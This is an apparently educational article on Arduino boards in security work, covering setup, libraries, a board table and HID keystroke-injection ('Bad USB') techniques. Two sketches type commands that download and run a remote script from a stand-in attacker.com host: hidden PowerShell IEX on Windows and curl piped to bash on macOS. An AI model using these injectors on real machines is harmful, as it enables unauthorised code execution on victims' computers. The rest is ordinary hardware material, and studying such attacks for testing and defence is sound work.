Arduino
2 min readArticle
Arduino is an open-source electronics platform — a microcontroller board with an easy IDE. It's not a full computer (no OS), it just runs one program at a time in a loop. Used in physical security, hardware hacking, and building custom attack tools. The language is a simplified C/C++.
Security Relevance
- Bad USB / HID attacks — Arduino with ATmega32u4 (Leonardo, Micro, Pro Micro) or Digispark can emulate a keyboard/mouse and inject keystrokes when plugged in
- Physical security testing — building custom lock bypass tools, sensor testing
- RF attacks — attach a radio module (nRF24L01, CC1101) to replay RF signals
- RFID/NFC tools — build custom readers/writers
- Wardrive hardware — combine with WiFi modules for autonomous scanning
Arduino IDE Setup
- Download from arduino.cc
- Install the IDE
- Select your board (Tools → Board)
- Select your port (Tools → Port)
- Write code, click Upload
Basic Structure
cpp
// Arduino sketch structure
void setup() {
// Runs once at startup
Serial.begin(9600); // Initialize serial monitor
pinMode(LED_BUILTIN, OUTPUT); // Set pin mode
}
void loop() {
// Runs forever in a loop
digitalWrite(LED_BUILTIN, HIGH); // LED on
delay(1000); // Wait 1 second
digitalWrite(LED_BUILTIN, LOW); // LED off
delay(1000);
}
Bad USB / HID Keyboard Attack
Arduino boards with native USB (Leonardo, Micro, Pro Micro) can act as keyboards:
cpp
#include <Keyboard.h>
void setup() {
delay(2000); // Wait for OS to detect device
// Open Run dialog (Windows)
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(100);
Keyboard.releaseAll();
delay(500);
// Type command
Keyboard.println("powershell -WindowStyle hidden -Command \"IEX(New-Object Net.WebClient).downloadString('http://attacker.com/payload.ps1')\"");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
}
void loop() {}
Digispark (Tiny Bad USB)
Digispark is a tiny ATtiny85-based board, cheaper and smaller:
cpp
#include <DigiKeyboard.h>
void setup() {
DigiKeyboard.delay(2000);
// Open terminal on Mac
DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT); // Spotlight
DigiKeyboard.delay(500);
DigiKeyboard.print("terminal");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
// Run command
DigiKeyboard.println("curl -s http://attacker.com/payload.sh | bash");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {}
Wireless Modules for Arduino
cpp
// ESP8266 WiFi module — can scan networks, create APs
// NRF24L01 — 2.4GHz radio
// CC1101 — Sub-GHz radio (433MHz keyfob replay)
// PN532 — NFC/RFID reader/writer
Serial Monitor (Debugging)
cpp
Serial.begin(9600);
Serial.println("Hello from Arduino");
Serial.print("Value: ");
Serial.println(sensorValue);
Common Libraries
Keyboard.h— USB HID keyboardMouse.h— USB HID mouseWire.h— I2C communicationSPI.h— SPI communicationEEPROM.h— Read/write internal memoryServo.h— Control servo motors
Boards Relevant for Security
| Board | Chip | Use Case |
|---|---|---|
| Arduino Leonardo | ATmega32u4 | HID attacks |
| Arduino Micro | ATmega32u4 | HID attacks, small |
| Digispark | ATtiny85 | Ultra-compact Bad USB |
| ESP8266 (NodeMCU) | ESP8266 | WiFi attacks |
| ESP32 | ESP32 | WiFi + BLE attacks |
See Also
- raspberry-pi-guide - More capable platform for complex tools
- rfid-nfc-tools - RFID/NFC attack tools
techzonesite.comUnlock Your IT Potential